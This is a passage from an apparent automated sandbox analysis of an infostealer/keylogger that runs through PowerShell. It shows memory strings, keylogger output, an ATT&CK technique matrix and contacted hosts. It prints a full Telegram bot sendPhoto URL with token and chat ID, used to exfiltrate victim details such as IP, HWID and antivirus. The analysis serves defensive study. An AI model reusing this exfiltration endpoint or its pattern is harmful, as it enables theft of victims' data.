xG90ZWFF-","file_size":119763,"width":1280,"height":1024}],"caption":"\u2728 New Hit \ud83d\udccd IP: 8.46.123.189\n\n\ud83d\udc49 User Name: user\n\ud83d\udc49 PC Name: 783875\n\ud83c\udf0d Country: \ud83c\uddfa\ud83c\uddf8United States (US)\n\u23f1\ufe0f Current Time: 2/11/2025 11:36:35 AM\n\n\ud83d\udee1 Antivirus: Windows Defender\n\ud83c\udffe CPU: Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz, 2000 MHz\n\ud83d\udda5 RAM: 4095 MB\n\u2699\ufe0f HWID: 88AE2742-2B8C-0221-A586-225B8451ACF0\n\ud83c\udfae Active Window Title: Program Manager\n\ud83d\udd53 Uptime: 0 days, 1 hours, 9 minutes","caption_entities":[{"offset":2,"length":7,"type":"bold"},{"offset":17,"length":12,"type":"url"}]}}
Source: powershell.exe, 00000006.00000002.1507861844.000001BEE2817000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: {"ok":true,"result":{"message_id":13,"from":{"id":7813041927,"is_bot":true,"first_name":"Btc-CHAN","username":"btchanisaRobot"},"chat":{"id":-4630316859,"title":"Dex Notifications","type":"group","all_members_are_administrators":true},"date":1739291559,"photo":[{"file_id":"AgACAgQAAxkDAAMNZ6t7p_cLMV-BAhO59WqQXEuzjSIAAhTFMRvdGVhRYMhAHl6gmoYBAAMCAANzAAM2BA","file_unique_id":"AQADFMUxG90ZWFF4","file_size":1105,"width":90,"height":72},{"file_id":"AgACAgQAAxkDAAMNZ6t7p_cLMV-BAhO59WqQXEuzjSIAAhTFMRvdGVhRYMhAHl6gmoYBAAMCAANtAAM2BA","file_unique_id":"AQADFMUxG90ZWFFy","file_size":13991,"width":320,"height":256},{"file_id":"AgACAgQAAxkDAAMNZ6t7p_cLMV-BAhO59WqQXEuzjSIAAhTFMRvdGVhRYMhAHl6gmoYBAAMCAAN4AAM2BA","file_unique_id":"AQADFMUxG90ZWFF9","file_size":56772,"width":800,"height":640},{"file_id":"AgACAgQAAxkDAAMNZ6t7p_cLMV-BAhO59WqQXEuzjSIAAhTFMRvdGVhRYMhAHl6gmoYBAAMCAAN5AAM2BA","file_unique_id":"AQADFMUxG90ZWFF-","file_size":119763,"width":1280,"height":1024}],"caption":"\u2728 New Hit \ud83d\udccd IP: 8.46.123.189\n\n\ud83d\udc49 User Name: user\n\ud83d\udc49 PC Name: 783875\n\ud83c\udf0d Country: \ud83c\uddfa\ud83c\uddf8United States (US)\n\u23f1\ufe0f Current Time: 2/11/2025 11:36:35 AM\n\n\ud83d\udee1 Antivirus: Windows Defender\n\ud83c\udffe CPU: Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz, 2000 MHz\n\ud83d\udda5 RAM: 4095 MB\n\u2699\ufe0f HWID: 88AE2742-2B8C-0221-A586-225B8451ACF0\n\ud83c\udfae Active Window Title: Program Manager\n\ud83d\udd53 Uptime: 0 days, 1 hours, 9 minutes","caption_entities":[{"offset":2,"length":7,"type":"bold"},{"offset":17,"length":12,"type":"url"}]}}`U
Source: powershell.exe, 00000006.00000002.1507861844.000001BEE263F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: {"ok":true,"result":{"message_id":13,"from":{"id":7813041927,"is_bot":true,"first_name":"Btc-CHAN","username":"btchanisaRobot"},"chat":{"id":-4630316859,"title":"Dex Notifications","type":"group","all_members_are_administrators":true},"date":1739291559,"photo":[{"file_id":"AgACAgQAAxkDAAMNZ6t7p_cLMV-BAhO59WqQXEuzjSIAAhTFMRvdGVhRYMhAHl6gmoYBAAMCAANzAAM2BA","file_unique_id":"AQADFMUxG90ZWFF4","file_size":1105,"width":90,"height":72},{"file_id":"AgACAgQAAxkDAAMNZ6t7p_cLMV-BAhO59WqQXEuzjSIAAhTFMRvdGVhRYMhAHl6gmoYBAAMCAANtAAM2BA","file_unique_id":"AQADFMUxG90ZWFFy","file_size":13991,"width":320,"height":256},{"file_id":"AgACAgQAAxkDAAMNZ6t7p_cLMV-BAhO59WqQXEuzjSIAAhTFMRvdGVhRYMhAHl6gmoYBAAMCAAN4AAM2BA","file_unique_id":"AQADFMUxG90ZWFF9","file_size":56772,"width":800,"height":640},{"file_id":"AgACAgQAAxkDAAMNZ6t7p_cLMV-BAhO59WqQXEuzjSIAAhTFMRvdGVhRYMhAHl6gmoYBAAMCAAN5AAM2BA","file_unique_id":"AQADFMUxG90ZWFF-","file_size":119763,"width":1280,"height":1024}],"caption":"\u2728 New Hit \ud83d\udccd IP: 8.46.123.189\n\n\ud83d\udc49 User Name: user\n\ud83d\udc49 PC Name: 783875\n\ud83c\udf0d Country: \ud83c\uddfa\ud83c\uddf8United States (US)\n\u23f1\ufe0f Current Time: 2/11/2025 11:36:35 AM\n\n\ud83d\udee1 Antivirus: Windows Defender\n\ud83c\udffe CPU: Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz, 2000 MHz\n\ud83d\udda5 RAM: 4095 MB\n\u2699\ufe0f HWID: 88AE2742-2B8C-0221-A586-225B8451ACF0\n\ud83c\udfae Active Window Title: Program Manager\n\ud83d\udd53 Uptime: 0 days, 1 hours, 9 minutes","caption_entities":[{"offset":2,"length":7,"type":"bold"},{"offset":17,"length":12,"type":"url"}]}}x
Source: powershell.exe, 00000008.00000002.2591788897.0000022549708000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: <style>.h { color: f76707; display: inline; }</style><p class="h"><br><br>[<b>Program Manager - 16:38 UTC</b>]</p><br><p class=
Source: powershell.exe, 00000008.00000002.2591788897.00000225493E5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: A<p class="h"><br><br>[<b>Program Manager - 16:38 UTC</b>]</p><br>
Source: powershell.exe, 00000008.00000002.2591788897.00000225493E5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager2
Source: powershell.exe, 00000008.00000002.2591788897.0000022549708000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: <meta http-equiv='Content-Type' content='text/html; charset=utf-8' />Log created on Tuesday, 11 February 2025 16:38 UTC<br><br><style>.h { color: f76707; display: inline; }</style><p class="h"><br><br>[<b>Program Manager - 16:38 UTC</b>]</p><br><p class="h">[Win + R]</p>

Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Data.SqlXml\v4.0_4.0.0.0__b77a5c561934e089\System.Data.SqlXml.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	221 Scripting	Valid Accounts	231 Windows Management Instrumentation	221 Scripting	1 DLL Side-Loading	2 Obfuscated Files or Information	11 Input Capture	1 File and Directory Discovery	Remote Services	1 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Exploitation for Client Execution	1 DLL Side-Loading	112 Process Injection	1 Software Packing	LSASS Memory	24 System Information Discovery	Remote Desktop Protocol	1 Email Collection	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	11 Registry Run Keys / Startup Folder	11 Registry Run Keys / Startup Folder	1 DLL Side-Loading	Security Account Manager	141 Security Software Discovery	SMB/Windows Admin Shares	11 Input Capture	11 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Masquerading	NTDS	2 Process Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Modify Registry	LSA Secrets	41 Virtualization/Sandbox Evasion	SSH	Keylogging	14 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	41 Virtualization/Sandbox Evasion	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	112 Process Injection	DCSync	1 System Network Configuration Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Hidden Files and Directories	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Source	Detection	Scanner	Label	Link
https://ipwho.isp	0%	Avira URL Cloud	safe
http://schemas.datacontract.org/2004/07/Logger	0%	Avira URL Cloud	safe

Name	IP	Active	Malicious	Reputation
ipwho.is	195.201.57.90	true	false	high
api.ipify.org	172.67.74.152	true	false	high
api.telegram.org	149.154.167.220	true	false	high

Name	Malicious	Reputation
https://api.ipify.org/	false	high
https://api.telegram.org/bot7813041927:AAFJKTwPluPESj-jsG5TWsi6m7BDKrgz_Rk/sendPhoto?chat_id=-4630316859&parse_mode=Markdown	false	high
https://ipwho.is/	false	high

Name	Source	Malicious	Antivirus Detection	Reputation
http://ns.adobe.hotosh	powershell.exe, 00000006.00000002.1594286288.000001BEFA2C8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://nuget.org/NuGet.exe	powershell.exe, 00000005.00000002.1386901887.0000027F90081000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1372476794.0000027F81B22000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1386901887.0000027F901DF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1507861844.000001BEE3B0C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1583652727.000001BEF2163000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2741051863.00000225574F3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ipwho.is/SSELECT	powershell.exe, 00000006.00000002.1507861844.000001BEE3341000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1599632881.000001BEFA600000.00000004.08000000.00040000.00000000.sdmp	false		high
https://stackoverflow.com/q/14436606/23354	powershell.exe, 00000008.00000002.2741051863.0000022557D59000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2815409363.00000225603A0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.2741051863.000002255777C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2591788897.0000022548849000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.telegram.org	powershell.exe, 00000006.00000002.1507861844.000001BEE26FC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/mgravell/protobuf-netJ	powershell.exe, 00000008.00000002.2741051863.0000022557D59000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2815409363.00000225603A0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.2741051863.000002255777C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ns.a.0/sTy	powershell.exe, 00000006.00000002.1594286288.000001BEFA2C8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000008.00000002.2591788897.000002254773D000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.datacontract.org	powershell.exe, 00000006.00000002.1507861844.000001BEE26CA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1507861844.000001BEE28F2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.telegram.org/bot	powershell.exe, 00000006.00000002.1507861844.000001BEE3341000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1507861844.000001BEE26FC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1599632881.000001BEFA600000.00000004.08000000.00040000.00000000.sdmp	false		high
https://ipwho.isp	powershell.exe, 00000006.00000002.1507861844.000001BEE2644000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.datacontract.org/2004/07/	powershell.exe, 00000006.00000002.1507861844.000001BEE28F2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1507861844.000001BEE26AC000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000008.00000002.2591788897.000002254773D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://go.micro	powershell.exe, 00000005.00000002.1372476794.0000027F81197000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1507861844.000001BEE3341000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/License	powershell.exe, 00000008.00000002.2741051863.00000225574F3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/Icon	powershell.exe, 00000008.00000002.2741051863.00000225574F3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/mgravell/protobuf-net	powershell.exe, 00000008.00000002.2741051863.000002255777C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Pester/Pester	powershell.exe, 00000008.00000002.2591788897.000002254773D000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.datacontract.org/2004/07/Logger	powershell.exe, 00000006.00000002.1507861844.000001BEE26CA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1507861844.000001BEE28F2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1507861844.000001BEE26AC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://api.ipify.org	powershell.exe, 00000006.00000002.1507861844.000001BEE285E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.ipify.org	powershell.exe, 00000006.00000002.1507861844.000001BEE25DC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/mgravell/protobuf-neti	powershell.exe, 00000008.00000002.2741051863.0000022557D59000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2815409363.00000225603A0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.2741051863.000002255777C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/mgravell/protobuf-net6	powershell.exe, 00000008.00000002.2741051863.0000022557D59000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2815409363.00000225603A0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.2741051863.000002255777C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://stackoverflow.com/q/11564914/23354;	powershell.exe, 00000008.00000002.2741051863.0000022557D59000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2815409363.00000225603A0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.2741051863.000002255777C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://stackoverflow.com/q/2152978/23354	powershell.exe, 00000008.00000002.2741051863.0000022557D59000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2815409363.00000225603A0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.2741051863.000002255777C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/	powershell.exe, 00000008.00000002.2741051863.00000225574F3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ipwho.is	powershell.exe, 00000006.00000002.1507861844.000001BEE2883000.00000004.00000800.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 00000005.00000002.1386901887.0000027F90081000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1372476794.0000027F81B22000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1507861844.000001BEE3B0C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1583652727.000001BEF2163000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2741051863.00000225574F3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/pscore68	powershell.exe, 00000005.00000002.1372476794.0000027F80001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1507861844.000001BEE20F1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2591788897.0000022547481000.00000004.00000800.00020000.00000000.sdmp	false		high
http://api.telegram.org	powershell.exe, 00000006.00000002.1507861844.000001BEE26FC000.00000004.00000800.00020000.00000000.sdmp	false		high
